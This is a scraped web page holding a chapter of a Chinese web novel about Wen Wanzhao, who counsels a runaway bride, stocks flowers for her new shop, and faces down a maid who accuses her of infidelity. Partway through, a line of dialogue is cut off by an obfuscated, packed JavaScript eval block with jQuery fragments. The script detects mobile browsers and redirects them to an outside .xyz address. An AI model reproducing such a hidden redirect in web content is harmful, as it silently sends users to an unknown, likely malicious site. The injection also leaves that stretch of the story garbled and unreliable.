24. 找茬
作品:《我拉着疯子搞钱》 最终温晚照带她去了一间客栈,两人细细聊了一番。
这个女子给温晚照一股莫名的熟悉感,可惜她绞尽脑汁也想不起来。
很快她又归咎于这是莫名的“亲近感”。
白竹遥说先前拖她的那名男子是她同父异母的哥哥。原本家中的亲事看中的不是她,而是异母的哥哥的亲妹。
妹妹比较受家里宠爱,自然不想让她嫁给一个年过半百的糟老头子,可那糟老头子偏生指明要她,分明是见过她面容的。
于是,妹妹逃了。
这个烂摊子让白家焦头烂额,只能死马当活马医,竹遥本身容颜也是极为耐看的。
“你就这么逃出来,你阿兄会如此轻易放过你?”
按理说,白家已经水深火热,不会放任竹遥轻易离开。
白竹遥轻微摇了摇头:“不论如何,我是不会嫁的。”
这可不是你的主观意愿,温晚照想着,可却没有说出口。
“或许你可以去外祖母家中避避风头?又或者你有什么要好的朋友?”
话说出口,温晚照察觉有些不妥,她一个女子受限,哪能交到什么外城的朋友?
“我不敢,阿娘当初已与家中决裂,自从成婚后,阿娘再没有回门一次,我也从未见过外祖母一家,也,没有朋友。”
这也太过惨烈了些吧。
“况且,我阿娘已死,我也再没有脸面去见他们二老了。”
温晚照有些着急:“万一呢,总得试试呀。”
白竹遥心中有些动摇,愣愣地看着温晚照,“我……”
温晚照拉起她的手:“你外祖父母家住何处,你一个弱女子本就可怜,无家可归,他们又岂会不给你一口饭吃。”
“可我不想过寄人篱下的日子,”
!
温晚照一时不知说些什么话。
顿了片刻,温晚照有些无奈:“既如此,你就得让自己强大起来,你想想你一个女子在外能做什么工,你有没有能力让自己吃饱,有没有个地方为你遮风挡雨,如若有,即使很破烂,那也是你的底气。”
“我知道了!”白竹遥重重点了点头。
温晚照继续轻声说着:“你不要预想得这么坏,万一你外祖父外祖母待你如宝贝呢。”
白竹遥笑了声:“谢你费功夫安慰我。”
“我想通了,我先去探个究竟,他们就在宁州城,现在最要紧的是能让我住的地方,无论她们待我好与不好,我都会努力攒钱为自己谋个属于自己的居所。”
温晚照深深看了她一眼,意外她的觉悟。
“好,期待见到你华丽蜕变的一面。”
“你不觉得我在说大话吗?”
温晚照微笑:“这有什么,敢想敢做,你一定会成功的。”
“我们以后还能见吗,我很欣赏你。”白竹遥眼神热切。
温晚照点了点头,跟她说以后有事可以来那间新装修的铺子。
*
草莓涨势良好,已经有越来越多的小花苞了,一问月份,竟然已经五月初了。
甚至有些长得快的已经能看见红色的小果了,温晚照一个欣喜逛完了全部田地,等坐下歇息时才发觉腿有些酸了。
她锤了锤小腿,一阵微风袭来,缓解了她的燥热。
新埔子挂上了牌面,她取了个名字叫“甜蜜蜜”。
好听又上口。
甜蜜蜜的桌椅板凳已经全部准备妥当,只剩下院中的花还未栽种。
今日她和春杏上城就是来挑选花种的。
院子不算大,种两颗桂花树,像这种树干大的就不多种了。
牡丹肯定也是要种的,寓意好,牡丹颜色多样,她挑选的都是深红,粉色,还有两色同胞的和紫色的,都是艳丽颜色。
除了瑰丽样式的,她还挑了茉莉和栀子花,都是清丽淡雅型的。
“呀,这还有向日葵。”
“客观好眼光,这可是本店从外邦新购进的品种,叫西番莲。”
“金番莲花色金黄,花大如盘,向阳而生,寓意好着呢。”
温晚照笑着一挥手,又购进了几株西番莲。
“小姐,这花长得好特别,花瓣如此小。”
温晚照点了点头,确实长得圆头圆脑,和其它花比起来稍显憨态可掬。
两人又去逛了逛,让店家寅时送到北街的甜蜜蜜上去。
“好嘞,客官慢走。”
温晚照和春杏又逛了逛,不知觉又走到了茶楼。
既然都到门前了,自然是要进去看上一看的。
茶楼依旧热闹,欢声笑语络绎不绝,不像是卖茶的,倒像是卖艺的。
温晚照咂摸着,这店还要得下去吗?
转念一想,这儿富贵女多,又舍得花,她选用的食材又比较“高端”,说不定还会深受她们喜爱,回本应该会比她预想得快些。
她正思索着,和春杏上了三楼,自从公主将这店铺给了她,她就在三楼的一间房为自己备好了床榻,想要小憩一会儿还是很方便的。
“春杏,累不累,要不要休息一会儿?”
春杏还未搭话,迎面碰上了三皇子和一名姑娘。
那名姑娘,不就是先前那个给自己送画的婢女么?!
“温姑娘怎么来了也找我说会儿话。”
温晚照根本不知道三皇子在这儿,瞧他还是一副怡然春风的模样,不知为何心底生出一抹异样。
“这不是刚要寻你。”温晚照客气了句,“您这是准备回了?”
“那哪能啊,既然温姑娘来了,我正好有东西交由你。”
温晚照狐疑跟着他进了厢房,只见几本“书”摞得高高的。
他眼神示意,那名姑娘就从中抽出蓝色封面的递给她,这本没什么,但她觉得莫名被那个小姑娘瞪了。
她对落在自己身上的视线总是格外敏感些。
她接过随手翻了翻,竟然是账簿,里头的开销支出都记得特别详细。
她也看不出个所以然,什么样才算对得上,她搞不懂,她对数字不敏感。
她随手递给了春杏,说了句:“三皇子打算两耳不闻窗外事了?”
三皇子又慢悠悠玩着他手里那把扇子了:“脑仁疼,我可不想管,有这闲心还不如在家撸猫,要不是文心,她非要逼我做点事,唉。”
三皇子突然就不说了,顿了顿才道:“账簿应
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616266|168661||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当不会出什么错,你自己多看看。”
温晚照点头应了句。
至此也没什么好说的了,温晚照告辞,下到一楼处,那名送画的姑娘追了上来,问了句:“温小姐,那些画你可曾看过了?”
温晚照有些无厘头,问了句:“怎么了,公主是要说什么吗?”
这婢女是公主留下的,那应当是公主的人。
送花的姑娘凑近。
“公主没留下什么话,只是务必让我确保你看过,既如此我也好复命了。”
温晚照搞不懂公主这是想干什么,又听这奴婢语气有些傲,内心翻了个白眼。
况且从没在公主身边见过这号人,温晚照终于仔细打量起了这号人,越看越觉得熟悉,眼睛又大又圆,却一点也不显得无辜。
“温小姐对账簿有什么疑问随时可以来找我。”
温晚照内心更加狐疑了:“你现在是跟在三皇子身边,他也让你对这账簿?”
“是的,我是三皇子的人。”先前话里话外不都是公主的人么?
温晚照:……
已经不想跟她细说了,她随意哦了声,转头就走。
却听到那姑娘不轻不重又说了句:“温小姐请您洁身自好,既然已嫁为人妇,切不可想那些不属于你的人。”
温晚照呵了一声:“你是以什么身份再跟我讲这些?”
春杏更为气愤,小姐一直都在洁身自好,好端端的就被这么“警告”了?
“我家小姐从来行得正坐得端!”
那大眼睛小幅度往下睥睨着,很不屑的神情对着春杏,动作很隐晦。
“勾三搭四可不是一个好娘子的作风,我只是好言劝说,免得温小姐被唾沫淹死,受无妄之灾。”
温晚照来了点兴致,向她靠前一步:“是先被你的流言淹死吗?”
温晚照又凑近一步:“毕竟我可从未从他人口中得知我是如何的不知检点,如何的勾三搭四呢。”
“你这么光明正大的舞到我面前,是觉得我很好说话,还是觉得自己背靠大山,我不能拿你怎么样?”
那女子一连退了三步。
“我只是好言相劝,别人只是不敢到你跟前说,果然不该当出头鸟。”女子昂起头颅,颇为不忿。
“你的好言是建立在谎言的基础上吗?”温晚照堪当温和地笑了。
“你还不承认!先前的画,那两兄弟,还有三皇子!你非要我说得这么明白!”
“来,说说看,他们是怎么和我联系起来的。”温晚照没曾想自己的瓜还要从他人口中得出,让她想看看这女人能编出什么花样来。
“路散为你死了你却转头嫁给那疯子攀上大户,路呈拿着画像苦心寻你却也被你害死了,把别人的真心践踏了现在又想勾搭三皇子,你夫君家虽被抄了底,可你们到底还未和离,你就这么快想要攀附另一权贵?”
???
温晚照鼓了鼓掌:“你还挺会改编,感觉去当个说书先生绰绰有余,去应聘一下吧,别辱没了你的才华。”
“你……你这样做是会遭天谴的!”
温晚照就搞不明白了:“你喜欢三皇子?沈砚之,还是路散那兄弟俩?”